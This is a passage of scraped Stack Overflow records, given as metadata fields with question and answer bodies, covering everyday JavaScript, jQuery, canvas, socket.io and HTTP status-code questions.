has answer: http://stackoverflow.com/a/25839257
favorite count: 0
linked to: http://stackoverflow.com/q/49348743
has answer: http://stackoverflow.com/a/33365465
has answer: http://stackoverflow.com/a/29342909
has body: I'm looking to convert a Float32Array into an Int16Array. Here's what I have (i'm not providing data). var data = ...; /*new Float32Array();*/ var dataAsInt16Array = new Int16Array(data.length); for(var i=0; i&lt;data.length; i++){ dataAsInt16Array[i] = parseInt(data[i]*32767,10); } I'm not convinced that I'm doing it correctly and looking for some direction.
has answer: http://stackoverflow.com/a/33396936
upvote count: 9
type: UnansweredQuestion
tagged with: typed-arrays
downvote count: 0
has answer: http://stackoverflow.com/a/45163793
score: 9
type: Question
has answer: http://stackoverflow.com/a/57377838
has title: Convert Float32Array to Int16Array

http://stackoverflow.com/q/25773529
tagged with: socket.io
type: Question
type: AnsweredQuestion
tagged with: javascript
has answer: http://stackoverflow.com/a/25822493
tagged with: browser
has title: Disconnect socket.io and send the disconnect reason
answer count: 1
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25822493
tagged with: node.js
score: 1
has body: I need to disconnect some users from server using this code: socket.disconnect('User disconnected because of ....'); but when i handle the disconnect event on user side i don't see the disconnect reason socket.on('disconnect', function(reason){ console.log('User 1 disconnected because '+reason); }); I am using node for server side and browsers as client side, Any idea how to send a disconnect reason?
upvote count: 1

http://stackoverflow.com/a/25733398
has comment: http://stackoverflow.com/comment/40233503
accepted answer of: http://stackoverflow.com/q/25733277
score: 0
has comment: http://stackoverflow.com/comment/40233552
answers question: http://stackoverflow.com/q/25733277
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40234280
type: Answer
has comment: http://stackoverflow.com/comment/40235573
has body: This functions identically and is much cleaner. Why throw/catch? try { var invoice = parseInt(localStorage[0]); if(isNaN(invoice)){ console.warn("invoice NaN; let's fix that..."); console.log("executing catch"); // not really needed this.test(); invoice = 1; } } finally { localStorage[invoice] = JSON.stringify(Ticket); console.log("localStorage[" + invoice + '] : ' + localStorage[invoice]); localStorage[0] = parseInt(localStorage[0]) + 1; }
has comment: http://stackoverflow.com/comment/40233815

http://stackoverflow.com/q/25868596
accepted answer: http://stackoverflow.com/a/25868672
favorite count: 0
score: 4
has title: RESTful ajax - which HTTP status code for "item not found"?
answer count: 2
has answer: http://stackoverflow.com/a/25868672
upvote count: 4
type: AnsweredQuestion
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: ajax
has body: Lets say I have a single-page web application with a list of items where a user can click on an item to view more info about it. The actual item info is loaded asynchronously, using an AJAX GET request to the URL http://www.example.com/item/[id] and is displayed upon loading. The question is, what to do if the item with the given id doesn't exist? Right now, the request returns status code 200, but the actual content indicates that the item doesn't exist. This seems like a bad idea so I wanted to make it return a status code that would indicate the request failed in a sense, since the item doesn't exist (it would also, for example, allow me to catch it in a fail handler in jQuery's ajax function). Is this good practice (returning status code 200 only when the item actually exists in the database) and, if so, which status code would be the best to use in this situation?
possible better answer: http://stackoverflow.com/a/25868745
type: Question
tagged with: http-status-codes
has answer: http://stackoverflow.com/a/25868745
tagged with: single-page-application

http://stackoverflow.com/comment/40344951
type: Comment
comment on: http://stackoverflow.com/a/25793605
score: 0
type: AnswerComment
has text: `obj[property]` will not throw if `obj` has no `property`.

http://stackoverflow.com/q/25777305
has title: jwplayer 6 seeking on element in playlist doesn't work
has comment: http://stackoverflow.com/comment/40380469
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40452161
has comment: http://stackoverflow.com/comment/40314671
has body: We're using an external scrubber (a UI element that is not the default seek bar) for seeking (via jquery ui draggable) and it is not updating the jwplayer when it should be. Synopsis of our code: $('#scrubber').draggable({ // ... stop: function (event, ui) { $('#scrubber').draggable('enable'); var intSecFromEnd, intSeek, intTotalTime = 0, intScrubPosition = ui.position.left, intScrubTime = intScrubPosition; // Find which video in the playlist to use $.each(playlist, function (i, obj) { intTotalTime += parseInt(obj.duration); if (intTotalTime &gt; (intScrubTime)) { intSecFromEnd = intTotalTime - parseInt(intScrubTime); intSeek = Math.floor((parseInt(obj.duration) - intSecFromEnd)); jwplayer('videoPlayer').load(playlist); jwplayer('videoPlayer').playlistItem(i); jwplayer('videoPlayer').seek(intSeek); jwplayer('videoPlayer').pause(); /* Play the video for 1 second to refresh the video player, so it is correctly displaying the current point in the video Does not work either */ // setTimeout(function () { // jwplayer('videoPlayer').pause(); // }, 1000); return false; } }); } }); You'll notice the key bit: jwplayer('videoPlayer').load(playlist); jwplayer('videoPlayer').playlistItem(i); jwplayer('videoPlayer').seek(intSeek); jwplayer('videoPlayer').pause(); When i put this into the console directly with an integer value where intSeek is it works exactly as it should, so I'm puzzled where the disconnect might be. variation (that only works one one item in the playlist) This works on the first member of the playlist only because the seek() function is defaulted to element 0 in the playlist. jwplayer('videoPlayer').load(playlist); jwplayer('videoPlayer').seek(intSeek); jwplayer('videoPlayer').pause(); Naturally, it would stand to reason that jwplayer('videoPlayer').playlistItem(i) would retrieve the item at the index we want and, according to the docs, should: Start playback of the playlist item at the specified index. but, as this is effectively what is in the first example,…
has answer: http://stackoverflow.com/a/26401025
has comment: http://stackoverflow.com/comment/40314712
type: Question
has comment: http://stackoverflow.com/comment/40314679
score: 4
has comment: http://stackoverflow.com/comment/40314302
upvote count: 4
tagged with: jwplayer
tagged with: jwplayer6
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0

http://stackoverflow.com/a/25752996
type: Answer
has comment: http://stackoverflow.com/comment/43650140
has body: I apologize. I was trying to run node app.js when I was supposed to be running node bin/www since this is an express.js app.
score: 0
answers question: http://stackoverflow.com/q/25752917

http://stackoverflow.com/comment/40410258
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25830096
type: AnswerComment
has text: @KnightRider what do you mean doesn't work? it works on my side, those dynamically generated textboxes still trigger when its empty, what browser are you using anyway? mines chrome 37

http://stackoverflow.com/q/25716574
accepted answer: http://stackoverflow.com/a/25716595
tagged with: parse-platform
upvote count: 1
type: Question
type: AnsweredQuestion
has title: Parse, Function only works for the current user
tagged with: javascript
has body: The following function seems to only work for my Current user, any other ObjectId that I type into the input will return a Post (Bad Request) error in the console. var query = new Parse.Query(Parse.User); var userInput = $('#inputObject').val(); query.equalTo("objectId", userInput); query.first({ success: function(result) { console.log(result.id); result.set('money', 20); result.save(); }, error: function(error) { console.log("None found."); } });
has answer: http://stackoverflow.com/a/25716595
answer count: 1
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0

http://stackoverflow.com/q/25744242
has comment: http://stackoverflow.com/comment/40253016
tagged with: javascript
has comment: http://stackoverflow.com/comment/40253314
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25744451
favorite count: 0
tagged with: twitter-bootstrap
has comment: http://stackoverflow.com/comment/40253182
score: 2
type: AnsweredQuestion
has body: Here I want the color of text +Timer to change once user clicks on stopwatch or timer. I tried to use some JavaScript but could not implement it. Here is my code $(".icon-clock").shieldButton({ events: { click: function () { clearInterval(timer); startTime = Date.now(); timer = setInterval(updateProgress, 100); $(".colorchange").color(rgb(#0F0)); //It is not going to work I know } } }); Here is the timer part + Timer
has answer: http://stackoverflow.com/a/25744442
has answer: http://stackoverflow.com/a/25744394
upvote count: 2
has title: How to indicate that that something has been clicked by changing color of something else?
accepted answer: http://stackoverflow.com/a/25744442
type: Question
possible better answer: http://stackoverflow.com/a/25744394

http://stackoverflow.com/a/37115083
has comment: http://stackoverflow.com/comment/62484524
has body: You can try popstate event handler, e.g: window.addEventListener('popstate', function(event) { // The popstate event is fired each time when the current history entry changes. var r = confirm("You pressed a Back button! Are you sure?!"); if (r == true) { // Call Back button programmatically as per user confirmation. history.back(); // Uncomment below line to redirect to the previous page instead. // window.location = document.referrer // Note: IE11 is not supporting this. } else { // Stay on the current page. history.pushState(null, null, window.location.pathname); } history.pushState(null, null, window.location.pathname); }, false); Note: For the best results, you should load this code only on specific pages where you want to implement the logic to avoid any other unexpected issues. The popstate event is fired each time when the current history entry changes (user navigates to a new state). That happens when user clicks on browser's Back/Forward buttons or when history.back(), history.forward(), history.go() methods are programatically called. The event.state is property of the event is equal to the history state object. For jQuery syntax, wrap it around (to add even listener after document is ready): (function($) { // Above code here. })(jQuery); See also: window.onpopstate on page load See also the examples on Single-Page Apps and HTML5 pushState page: &lt;script&gt; // jQuery $(window).on('popstate', function (e) { var state = e.originalEvent.state; if (state !== null) { //load content with ajax } }); // Vanilla javascript window.addEventListener('popstate', function (e) { var state = e.state; if (state !== null) { //load content with ajax } }); &lt;/script&gt; This should be compatible with Chrome 5+, Firefox 4+, IE 10+, Safari 6+, Opera 11.5+ and similar.
has comment: http://stackoverflow.com/comment/88764438
has comment: http://stackoverflow.com/comment/121956378
has comment: http://stackoverflow.com/comment/133424374
score: 162
type: Answer
has comment: http://stackoverflow.com/comment/61771847
has comment: http://stackoverflow.com/comment/81575096
has comment: http://stackoverflow.com/comment/136325190
answers question: http://stackoverflow.com/q/25806608
downvote count: 7
upvote count: 169

http://stackoverflow.com/comment/40556199
type: AnswerComment
score: 0
has text: Great, thanks, good to hear - if it is working for you, I'd appreciate an upvote for my answer!
type: Comment
comment on: http://stackoverflow.com/a/25781696

http://stackoverflow.com/comment/40496814
score: 0
has text: more like: http://i.imgur.com/1FDxak5.gif
comment on: http://stackoverflow.com/q/25873386
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25777597
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40316005
score: 0
tagged with: modal-dialog
has comment: http://stackoverflow.com/comment/40315924
tagged with: jquery
type: UnansweredQuestion
has title: Bootstrap Modal - show on page load and hide with cookie
answer count: 0
tagged with: twitter-bootstrap
tagged with: cookies
has body: I have a Boostrap modal with a don't show this again checkbox. Don't show again! Skip my modals id = #myModal I have the modal showing up on page load. However I would like it to know if the user has checked the don't show again checkbox, if so not to show again. I'm using this js code. Along side cookie.js $(document).ready(function () { $('#myModal').modal(); $('#myModal').on('hidden', function () { var status = $("input[name=dismiss]", this).is(":checked"); $.cookie('modal_dismiss', status, { expires: 7, path: '/' }); $("#debug").html("Value for Cookie is: " + status); }); });' Note that in morzilla the checkbox is remembering that it has been selected but isn't stoping the modal from loading on page load. Please help? :)

http://stackoverflow.com/q/25799460
score: 4
upvote count: 4
has body: My goal is to load .png images with transparency via URI, crop them and draw them on a canvas, then save the canvas images as a png file. In javascript, it would look like: var canvas = document.createElement("canvas"); var ctx = canvas.getContext('2d'); var img = new Image(); img.src = "a.png"; ctx.drawImage(img,10,10,20,20,30,30,10,10); //drawing more images... something(canvas.toDataURL('image/png')); How could I do that in C# Visual Studios 2013? What would come the closest to this JS code? I don't mind using WPF or Winforms. I do not need to be able to display the image. I only need to be able to save it.
answer count: 2
tagged with: canvas
has answer: http://stackoverflow.com/a/25799544
downvote count: 0
has title: Using C#, load .png images with transparency via URI, crop them and draw them on a canvas, then save the canvas images as a png file
accepted answer: http://stackoverflow.com/a/25799501
favorite count: 0
possible better answer: http://stackoverflow.com/a/25799544
tagged with: http://stackoverflow.com/tag/html
tagged with: visual-studio
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25799501
type: Question
tagged with: c#
tagged with: javascript

http://stackoverflow.com/q/25795934
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25808479
tagged with: popup
has comment: http://stackoverflow.com/comment/40348594
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40348652
has comment: http://stackoverflow.com/comment/40348029
has comment: http://stackoverflow.com/comment/40348821
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40348800
upvote count: 9
has answer: http://stackoverflow.com/a/63944041
has comment: http://stackoverflow.com/comment/40348624
linked to: http://stackoverflow.com/q/10297168
has body: I am using the following code to open a maximized pop up window, i don't want to open it full screen (F11), I need it just maximized, exactly like pressing the button between minimize and close. Maximized on Chrome It's working fine for all browsers but not Chrome, Here is a jsfiddle for testing
has comment: http://stackoverflow.com/comment/40348558
has title: javascript (window.open) opens maximized in all browsers but not in chrome
has answer: http://stackoverflow.com/a/25797203
has comment: http://stackoverflow.com/comment/40348911
score: 9
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40349912
has comment: http://stackoverflow.com/comment/40348699
favorite count: 0
has comment: http://stackoverflow.com/comment/49929202
has answer: http://stackoverflow.com/a/25796016
answer count: 5
has answer: http://stackoverflow.com/a/55218015

http://stackoverflow.com/a/25726871
accepted answer of: http://stackoverflow.com/q/25726760
answers question: http://stackoverflow.com/q/25726760
downvote count: 0
score: 10
has body: Because it's a remainder operator, not a modulo. But there's a proposal for a proper one. A quote from Ecma 5.1 remainder r from a dividend n and a divisor d is defined by the mathematical relation r = n − (d × q) where q is an integer that is negative only if n/d is negative and positive only if n/d is positive
upvote count: 10
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25801415
has body: Well today i have a new problem. I'm trying to take multiple arrays of this json. [ { "_id" : "541200a79fb6706de9164063" , "index" : 0 , "guid" : "403d5692-0f07-40e6-84f5-32cdee137127" , "isActive" : true , "school" : "BOILICON" , "address" : "532 Everit Street, Williamson, Kentucky, 197" , "registered" : "Monday, March 24, 2014 4:46 AM" , "professor" : [ { "id" : 0 , "name" : { "first" : "Mclean" , "last" : "Robertson"} , "email" : "mclean.robertson@undefined.com" , "age" : 36 , "phone" : "+1 (946) 436-2567" , "coursePrice" : "$4,882.28" , "favoriteParadigm" : "funcional"} ]} Well i tried to do it like this on the html code: $ {{student.index}} {{student.guid}} {{student.isActive}} {{student.school}} {{student.address}} email: {{prof.email}} $ But it doesn't work for me. Can anyone help me please?
tagged with: http://stackoverflow.com/tag/html
has title: Angularjs multiple arrays with json
accepted answer: http://stackoverflow.com/a/25801574
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40358003
has comment: http://stackoverflow.com/comment/40357969
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40358067
has answer: http://stackoverflow.com/a/25801584
tagged with: javascript
has answer: http://stackoverflow.com/a/25801548
has comment: http://stackoverflow.com/comment/40358023
has answer: http://stackoverflow.com/a/25801574
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/25801548
favorite count: 0
tagged with: angularjs

http://stackoverflow.com/a/25805552
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25804052
answers question: http://stackoverflow.com/q/25804052
has body: The reason for your trouble is quit simple. You forgot to add the method .print();. When I understand your right, then do following: function print_all() { ... docprint.document.close(); docprint.focus(); //This line was missing doc.print(); } Addationaly two advices: First: As steo wrote, if you want to print long string in Javascript, concatinate it with the plus sign. The browsers don't accept line breaks within strings. Second: When I used your definition for the link print it did open the opener page also in a new tab. Another effect ourccur when I opend the site in IE. The effect: he didn't marked this line as clickable link. To solve these, use this line print .
score: 1
has comment: http://stackoverflow.com/comment/40367304
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/a/25827379
type: Answer
has body: You are missing els argument when you call Layout.initUniform() Since the link function of directive already exposes the element as a jQuery object when jQuery library is included before angular library in the page you don't really need your Layout function Your handleUnform function has several flaws in it. To check existence of a plugun should do if($.fn.pluginName). Also, if you had many elements with this directive bound to it you would be looping through all of them each time the directive runs. Try this: myApp.directive('pluginUniform', function() { return { restrict: 'A', link: function(scope, element, attrs) { /* element is jQuery object*/ if (!element.parents(".checker").length) { /* size() is deprecated */ element.show().uniform(); } } }; });
downvote count: 0
has comment: http://stackoverflow.com/comment/40406348
answers question: http://stackoverflow.com/q/25827201
score: 1
accepted answer of: http://stackoverflow.com/q/25827201
has comment: http://stackoverflow.com/comment/40406389
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40406366
has comment: http://stackoverflow.com/comment/40406324
upvote count: 1

http://stackoverflow.com/comment/40324630
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25777029
has text: Thanks so much! I gave the answer to the person who posted just a little bit before you since they're both correct and the same. You were both certainly right, though!
type: AnswerComment

http://stackoverflow.com/a/25808688
type: AcceptedAnswer
downvote count: 0
has body: duplicate of How to format a JavaScript date but Marko's accepted answer there for you: Taken from http://www.webdevelopersnotes.com/tips/html/javascript_date_and_time.php3: &lt;script type="text/javascript"&gt; &lt;!-- var m_names = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"); var d = new Date(); var curr_date = d.getDate(); var curr_month = d.getMonth(); var curr_year = d.getFullYear(); document.write(curr_date + "-" + m_names[curr_month] + "-" + curr_year); //--&gt; &lt;/script&gt; You can edit the array to use Jan, Feb, Mar, etc..
type: Answer
accepted answer of: http://stackoverflow.com/q/25808556
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25808556

http://stackoverflow.com/a/25753603
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25733457
answers question: http://stackoverflow.com/q/25733457
has body: I updated your jsFiddle with handlers to drag the items after you drop them. http://jsfiddle.net/bdaerfyq/4/ $('.contentTitle:not([data-initialized])').editable({ initOnClick: true, buttons: ['formatBlock', 'blockStyle', 'bold', 'italic', 'underline', 'strikeThrough', 'color', 'align', 'outdent', 'indent', 'createLink', 'undo', 'redo', 'inserthorizontalrule'], blockTags: ["h1", "h2", "h3", "h4", "h5", "h6"] }).attr('data-initialized', true).parent().append('&lt;span class="sortable-handle"&gt;&lt;/span&gt;'); Also, it's important to stop propagation on the handler so that it doesn't propagate further to the editor. $('body').on('.sortable-handle', function (e) { e.stopPropagation(); });

http://stackoverflow.com/comment/40516884
type: AnswerComment
comment on: http://stackoverflow.com/a/25874628
score: 0
type: Comment
has text: hahah I explained it in just one line xD. No offense but describing isn't your best quality :P. Anyway I will make a new jsfiddle for ya. Gimmie a few mints

http://stackoverflow.com/comment/40337631
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25790512
has text: What is your specific question? Would help to provide output html not server code if the issue is client side.

http://stackoverflow.com/q/25867016
score: 5
has answer: http://stackoverflow.com/a/25867474
tagged with: arrays
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25868010
possible better answer: http://stackoverflow.com/a/25867323
answer count: 3
has answer: http://stackoverflow.com/a/25867323
has answer: http://stackoverflow.com/a/25868010
favorite count: 0
upvote count: 5
has body: I'm relatively new to underscore.js and I have an object coming in from a REST service which looks like this (I have typed it out by hand and assigned it to a var here): var production = [ {key: ["wind", "1"], value: 5}, {key: ["wind", "2"], value: 9}, {key: ["wind", "3"], value: 11}, {key: ["wind", "4"], value: 7}, {key: ["solar", "1"], value: 1}, {key: ["solar", "2"], value: 1}, {key: ["solar", "3"], value: 2}, {key: ["solar", "4"], value: 3}, {key: ["oil", "1"], value: 15}, {key: ["oil", "2"], value: 16}, {key: ["oil", "3"], value: 22}, {key: ["oil", "4"], value: 23}, ]; Then further down, I have some code that parses this object and creates arrays for the items like so: var orderedProduction = _.chain(production) .groupBy(function (entity) { return entity.key[0]; }) .map(function (values) { return _.map(values, function (entity2) { return entity2.value; }); }) .value(); This gives the following results: orderedProduction = [ [5, 9, 11, 7], [1, 1, 2, 3], [15, 16, 22, 23] ] Which loses the keys (wind/solar/oil). And is used to draw a graph. I'm further able to check if some of these arrays meet a certain threshold like so: var threshold = _.map(orderedProduction , function(arr) { return _.max(arr) &gt; 10; }); My requirements have now changed and I now need to filter out these arrays by its total sum, while retaining the key. What I would like to end up with an object like so: orderedProduction = { "wind": [5, 9, 11, 7], "solar": [1, 1, 2, 3], "oil": [15, 16, 22, 23] } It would be great if the fix included a way to sum up the values of the array and remove those that do not total up to a certain amount. (i.e. exclude solar, if it does not add up to 10). Here is a jsfiddle I created to test this all out on: http://jsfiddle.net/2mfjw3jk/ UPDATE: The solution I settled for was this: var orderedProduction = _.chain(production) .groupBy(function (entity) { return entity.key[0]; }) .map(function (vals, key) { return [key, _.pluck(vals, 'value')] }) .filter(function(arr)…
type: AnsweredQuestion
downvote count: 0
tagged with: underscore.js
has title: Underscore.js convert object to array
type: Question
tagged with: object

http://stackoverflow.com/comment/40294286
comment on: http://stackoverflow.com/q/25763871
has text: the line break between body and footer is wider than the modal box. and i still have the red tick issue.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40207548
type: Comment
type: QuestionComment
has text: button toggle is for single button , not button group with inputs http://jsfiddle.net/79ov9agq/7/
comment on: http://stackoverflow.com/q/25719334
score: 0

http://stackoverflow.com/comment/40476096
score: 0
comment on: http://stackoverflow.com/q/25866179
has text: I think I have copied the example but still cannot get it to work
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40263622
has text: it is correct, just a minor error. The 'data-nome' attribute has to be set on the li tag and not the img tag.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25746544
type: AnswerComment

http://stackoverflow.com/q/25723914
has comment: http://stackoverflow.com/comment/40215095
has comment: http://stackoverflow.com/comment/40215776
has comment: http://stackoverflow.com/comment/40244856
has title: HTML Select with jQuery Selector not working
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40215238
has answer: http://stackoverflow.com/a/25739683
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: UnansweredQuestion
has body: I have this code which generates my select element &lt;select id="Select"&gt; @foreach (var obj in Model.Objs) { &lt;option value="@obj.Value" data-1="@obj.Data1" data-2="@obj.Data2" data-3="@obj.Data3"&gt; @obj.Name &lt;/option&gt; } &lt;/select&gt; I have three other selects that I am using to filter this select @Html.DropDownListFor(x =&gt; Model.Filter1Selected, Model.Filter1Items, new { @onchange = "Filter_Changed()" }) @Html.DropDownListFor(x =&gt; Model.Filter2Selected, Model.Filter2Items, new { @onchange = "Filter_Changed()" }) @Html.DropDownListFor(x =&gt; Model.Filter3Selected, Model.Filter3Items, new { @onchange = "Filter_Changed()" }) And this JS method that does the work function Filter_Changed() { var filter1 = $(Filter1Selected).val(); var filter2 = $(Filter2Selected).val(); var filter3 = $(Filter3Selected).val(); $(Select).find("option").show(); if (filter1 &gt; 0) { $(Select).find("option").not("[data-1='" + filter1 + "']").hide(); } if (filter2 &gt; 0) { $(Select).find("option").not("[data-2='" + filter2 + "']").hide(); } if (filter3 &gt; 0) { $(Select).find("option").not("[data-3='" + filter3 + "']").hide(); } } The issue is the filtering does not seem to take proper effect on the Select, some items are filtered correctly for some filter settings, and when I definitely know that there are matching elements that should be shown, and when Chrome dev tools console gets the elements correctly, what am I doing wrong?
tagged with: razor
has comment: http://stackoverflow.com/comment/40215157
has comment: http://stackoverflow.com/comment/40215096
type: Question

http://stackoverflow.com/q/25720400
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40208767
tagged with: oop
answer count: 0
type: Question
linked to: http://stackoverflow.com/q/403967
tagged with: javascript
has comment: http://stackoverflow.com/comment/40208841
has comment: http://stackoverflow.com/comment/40210641
has title: JavaScript detect in which element an object is created
score: 0
has body: Note: This question is marked as a duplicate but I'm not looking to get the script element but the div element as seen in my code where the script is in. Whereas the "duplicate" is looking to get the script tag. this is not the case with my script. I am using JavaScript for my current project and was wondering if there is a way to detect which HTML element an object was created in. Consider the following code. Editable.js function Editable(elem, form1, form2) { this._edit_form; this._value_form; this._current_form; //Getters this.getEditForm = function() { return this._form1; }; this.getValueForm = function() { return this._form2; }; this.getCurrentForm = function() { return this._current_form; }; //Setters this.setCurrentForm = function(current_form) { this._current_form = current_form; }; this.switch = function() { if(_current_form == _edit_form) _current_form = _value_form; else _current_form = edit_form; }; var __construct = function() { $(this.elem).html(this._value_form); }(); } - The point of an editable is that it has a value form and an edit form. I want to be able to switch between those by removing the text from the element and placing an HTML Input field. This change is supposed to happen when clicking the element. The problem now is that "this" logs as Window {top: Window, window: Window, location: Location, external: Object, chrome: Object…} While the object would need to know what element it is in so it may edit it's contents. So I would need the DIV HTML element for that. Thank you very much.
has comment: http://stackoverflow.com/comment/40208798
has comment: http://stackoverflow.com/comment/40210126
has comment: http://stackoverflow.com/comment/40209853

http://stackoverflow.com/q/25781072
tagged with: http://stackoverflow.com/tag/html
tagged with: count
downvote count: 6
has answer: http://stackoverflow.com/a/25781111
score: -5
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25781124
duplicate of: http://stackoverflow.com/q/4291151
tagged with: javascript
has answer: http://stackoverflow.com/a/25781105
answer count: 3
tagged with: jquery
favorite count: 0
has title: How to count the number of child elements within an element?
has body: HTML I need to count the number of classes inside a class. I need to find the number of textareas inside the 'fieldset_div'. Please help.
linked to: http://stackoverflow.com/q/4291151
type: UnansweredQuestion

http://stackoverflow.com/a/25792625
upvote count: 2
answers question: http://stackoverflow.com/q/25768891
score: 2
downvote count: 0
has body: For the sake of other people who come upon this and have a similar problem, the solution in this case was that the servers at hosted.im send a ping request every 60 seconds to check if the client is still online. This ping request looks like this: What is needed, of course, is to form a response, which will look something like this: Note the "to"-attribute. I omitted it at the beginning as I was under the assumption a message sent with no to-attribute is automatically assumed to be a client->server message. Not in this case however. Not sure if this is the case in general, or whether it is an oddity of servers at hosted.im. Thanks to everyone for their comments and suggestions! Best regards, Chris
type: Answer

http://stackoverflow.com/q/25753754
tagged with: video
has answer: http://stackoverflow.com/a/25754644
has title: canvas.toDataURL() Security Error The operation is insecure
has comment: http://stackoverflow.com/comment/40271395
has answer: http://stackoverflow.com/a/63409371
has answer: http://stackoverflow.com/a/52420950
score: 47
has comment: http://stackoverflow.com/comment/131424042
has answer: http://stackoverflow.com/a/49024577
linked to: http://stackoverflow.com/q/22710627
tagged with: canvas
has body: When I am trying to get a screenshot and save it as PNG before uploading video to server, I am having the following problem I hope you can solve my problem ... /*Output image show view*/ $('#file_browse').change(function(e){ getVideo(this); }); var capbtn = document.querySelector('#video_capture'); var video = document.querySelector('video'); var canvas = document.querySelector('canvas'); var context = canvas.getContext('2d'); var w, h, ratio; video.addEventListener('loadedmetadata', function() { ratio = video.videoWidth / video.videoHeight; w = video.videoWidth - 100; h = parseInt(w / ratio, 10); canvas.width = w; canvas.height = h; }, false); capbtn.addEventListener("click", function(){ context.fillRect(0, 0, w, h); context.drawImage(video, 0, 0, w, h); var objImageData = canvas.toDataURL("data:image/png;"); }); function getVideo(input) { if (input.files &amp;&amp; input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { var video = document.getElementsByTagName('video')[0]; var sources = video.getElementsByTagName('source'); sources[0].src = e.target.result; video.load(); video.style.display="block"; } reader.readAsDataURL(input.files[0]); } } &lt;input id="video_capture" type="submit" value="Capture" /&gt; &lt;video id="video_view" controls&gt; &lt;source src="movie.mp4" type="video/mp4"&gt; &lt;/video&gt; &lt;canvas width="300" height="300"&gt;&lt;/canvas&gt;
has answer: http://stackoverflow.com/a/37889601
downvote count: 0
tagged with: javascript
type: UnansweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/30517793
type: Question
upvote count: 47
tagged with: http://stackoverflow.com/tag/html
answer count: 6

http://stackoverflow.com/comment/40903244
comment on: http://stackoverflow.com/q/25782245
score: 0
type: Comment
type: QuestionComment
has text: Have you tried making a separate PHP script to output data from the DB in a format like JSON and use AJAX to retrieve it on the main page? That way you could reload the content without refreshing the page.

http://stackoverflow.com/comment/40412400
type: QuestionComment
has text: @RadimKöhler: I've edited the post and added some more code. The thing is that I get a 404 error when I access `http://localhost:3000/users/123` through this URL, but I could access it `User 123`. I need to have the admin end look different for which I created `users.ejs` and put all the CSS and JavaScript files in it and used it as the base for the admin end. Similarly I created an `index.ejs` for the front end. But even if I could access User 123 using `User 123` the admin view gets embedded inside the front end.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25830823

http://stackoverflow.com/q/25804008
tagged with: xmlhttprequest
type: Question
tagged with: javascript
has title: Display picture after dropdown menu option is selected
tagged with: ajax
score: 0
has answer: http://stackoverflow.com/a/25804875
has body: I want to display a picture after an option in my dropdown menu is selected. The picture will depend on the value the user selected. I tried to do this (bear in mind that I haven't even learned JavaScript yet, I just know 2 or 3 basic functions thanks to Google): showpic.js document.getElementById('item').onchange = function(){ document.getElementById('ipic').style.display = "block"; document.getElementById('ipic').innerHTML = "<img src='http://example.com/pics/" + this.value + "'.png"; }; items.php without the PHP code for your convenience Username: Password: Item: Example Example 2 But that didn't work. I heard it was something to do with "XMLHTTPREQUEST" & AJAX. Can anyone help me? I don't know JavaScript.
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/40680863
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25927377
has text: See the ADDITIONAL MATCH TESTS in the link. Ones like `path?foo=` aren't currently matching... think if you could get this working yours would be a real contender as it's very concise.
type: AnswerComment

http://stackoverflow.com/q/25854195
tagged with: ajax
has comment: http://stackoverflow.com/comment/40454081
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25854306
linked to: http://stackoverflow.com/q/17431760
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40454046
type: Question
has title: How to create dynamic javascript objects from Json?
tagged with: javascript
score: 0
has body: I don't know how to create dynamics javascript objects: I've tried this code but it doesnt work... Any Idea ? Somebody tells me " Create the element outside the Ajax Scope " ... I want to access one of my javascript objects, that are supposed to be sorted into an array called element. For example, element[1] is one object, element[2] is another object. The whole array of objects is built from a json ajax call with jquery. It works very well for the reading ... but its not possible to modify my objects in another part of my program. It's not asynchronous problem, it seems to be an object name problem like the [] . Thanks a lot for your precious answers ! I'll try to modify the code... It's so exciting to create objects ! My goal is that the user is able to modify several differents forms at the same time, each form is an object but i don't wanna use Php hi hi... I generate the forms using my print function. This is the snipe of my code : /* PHASE 1*/ $.ajax({ type: "POST", url: "lectureBdd.php", dataType: "json", success: function (data) { //CREATE JAVASCRIPTS OBJECTS var element = 0; var element = []; for (var i = 0; i &lt; data.length; i++) { element[i] = new Element([i], data[i].nom, data[i]. type, 